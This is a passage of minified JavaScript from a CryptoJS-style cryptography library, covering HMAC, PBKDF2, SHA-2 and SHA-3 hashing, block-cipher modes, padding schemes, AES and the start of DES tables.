| a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 